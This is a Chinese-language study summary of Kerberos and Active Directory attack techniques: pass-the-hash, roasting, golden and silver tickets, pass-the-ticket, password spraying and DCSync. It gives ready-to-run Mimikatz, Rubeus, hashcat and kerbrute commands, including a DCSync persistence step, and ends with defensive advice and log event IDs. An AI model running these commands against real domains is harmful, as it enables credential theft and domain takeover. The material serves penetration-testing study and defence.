关于Kerberos认证的一些攻击手法学习总结
字数 3201 2025-08-09 15:23:10
Kerberos认证攻击手法全面解析
1. Kerberos认证基础
1.1 核心组件
- Domain Controller (DC): 域控制器,实现用户、计算机的统一管理
- Key Distribution Center (KDC): 秘钥分发中心,包含AS和TGS
- Authentication Service (AS): 身份验证服务,用于KDC对Client认证
- Ticket Granting Service (TGS): 票据授予服务,用于分发Session Key
- Active Directory (AD): 活动目录,存储用户、用户组、域相关信息
1.2 认证流程
- AS-REQ: Client向KDC(AS)发起认证请求,使用Client的NTLM Hash加密时间戳
- AS-REP: AS使用Client NTLM Hash解密,返回用KRBTGT Hash加密的TGT票据
- TGS-REQ: Client使用TGT向TGS请求服务票据
- TGS-REP: TGS使用KRBTGT Hash解密TGT,返回用Server Hash加密的ST票据
- AP-REQ: Client使用ST向Server请求资源
- AP-REP: Server验证ST后返回资源
2. 主要攻击手法
2.1 Pass The Hash/Key
2.1.1 Pass The Hash
- 适用场景: 获取了Client的NTLM Hash
- 工具:
- Mimikatz:
sekurlsa::pth /user:a /domain:god.org/rc4:b4ab235f987be3621a4ebd862189fd34 - wmicexec: 不需要管理员权限
- CrackMapExec: 批量验证
- Mimikatz:
2.1.2 Pass The Key
- 条件:
- Win8.1/2012R2或安装了KB2871997补丁的Win7/2008R2/8/2012
- 获取AES密钥
- 命令:
sekurlsa::pth /user:administrator /domain:god.org /aes256:bf723755bc5f72a377bda41ca58fd925df7ee45df9a026ac5cd320102a3a2e33
2.1.3 Pass The Hash With Remote Desktop
- 条件:
- Client和Server都支持Restricted Admin mode
- Win8.1/2012R2默认开启
- 启用:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f - 使用:
sekurlsa::pth /user:administrator /domain:192.168.226.137 /ntlm:9c3767903480e04c089090d27123eaf9 "/run:mstsc.exe /restrictedadmin"
2.2 AS-REP Roasting
原理
攻击关闭了预认证的账户,获取AS-REP响应中加密的Session Key进行破解
利用步骤
- 查找关闭预认证的用户:
userAccountControl:1.2.840.113556.1.4.803:=4194304 - 使用Rubeus获取Hash:
Rubeus.exe asreproast /nowrap /format:hashcat - 使用Hashcat破解:
hashcat -m 18200 hash.txt passwords.dict --force
2.3 黄金票据(Golden Ticket)
特点
- 需要与DC通信
- 需要krbtgt用户的Hash
- 可伪造任意TGT
制作条件
- 域名称
- 域的SID值(去掉最后部分)
- KRBTGT账户密码Hash
- 伪造用户名(任意)
制作命令
mimikatz "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /user:administrator /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:k0u.kiribi"
使用
- 注入票据:
kerberos::ptt k0u.kiribi - 查看票据:
klist
2.4 Pass The Ticket
利用方式
- 使用Mimikatz导出票据:
sekurlsa::tickets /export - 使用Rubeus导出票据:
Rubeus.exe dump - 注入票据:
- Mimikatz:
kerberos::ptt xxx.kirbi - Rubeus:
ptt /ticket:base64或ptt /ticket:file.kirbi
- Mimikatz:
2.5 Kerberoasting
原理
利用RC4_HMAC加密的ST票据进行破解
利用步骤
- 查找有价值的SPN:
Setspn -Q */* - 使用Rubeus获取Hash:
Rubeus kerberoast - 使用Hashcat破解:
hashcat -m 13100 hash.txt passwords.dict --force
加密降级突破AES
- 命令:
Rubeus kerberoast /tgtdeleg - 防御: 在组策略中禁用RC4
2.6 白银票据(Silver Ticket)
特点
- 不需要与域控交互
- 需要目标服务的NTLM Hash
制作条件
- 域名称
- 域的SID值
- 服务器账户的NTLM-Hash
- 伪造用户名
- 目标服务
制作命令
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:owa.god.org /service:cifs /rc4:6be58bfcc0a164af2408d1d3bd313c2a /user:administrator /ptt
2.7 用户名枚举和口令暴力破解
工具对比
| 工具 | 协议支持 | 功能 |
|---|---|---|
| kerbrute | UDP/TCP | 用户枚举、密码喷洒 |
| pyKerbrute | UDP/TCP | 用户枚举、密码喷洒(NTLM hash) |
使用示例
- 用户枚举:
kerbrute userenum -d god.org username.txt - 密码喷洒:
kerbrute passwordspray -d god.org username.txt Abc123!
日志检测
- 成功: 4768 (Kerberos authentication ticket requested)
- 失败: 4771 (Kerberos pre-authentication failed)
2.8 Dcsync攻击
原理
利用DRSR协议模拟域控制器同步数据
所需权限
- DS-Replication-Get-Changes-In-Filtered-Set
- DS-Replication-Get-Changes
- DS-Replication-Get-Changes-All
利用步骤
- 检查权限:
Get-DomainObjectAcl - 执行攻击:
lsadump::dcsync /domain:god.org /user:krbtgt - 权限维持(添加权限):
Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose
3. 防御建议
- 限制特权账户: 严格控制Administrators、Domain Admins等组内成员
- 启用PAC验证: 防御白银票据
- 禁用RC4加密: 在组策略中彻底禁用
- 启用预认证: 防止AS-REP Roasting
- 监控日志: 特别关注4768和4771事件
- 定期更换KRBTGT密码: 降低黄金票据风险
- 限制DCSync权限: 仅限必要账户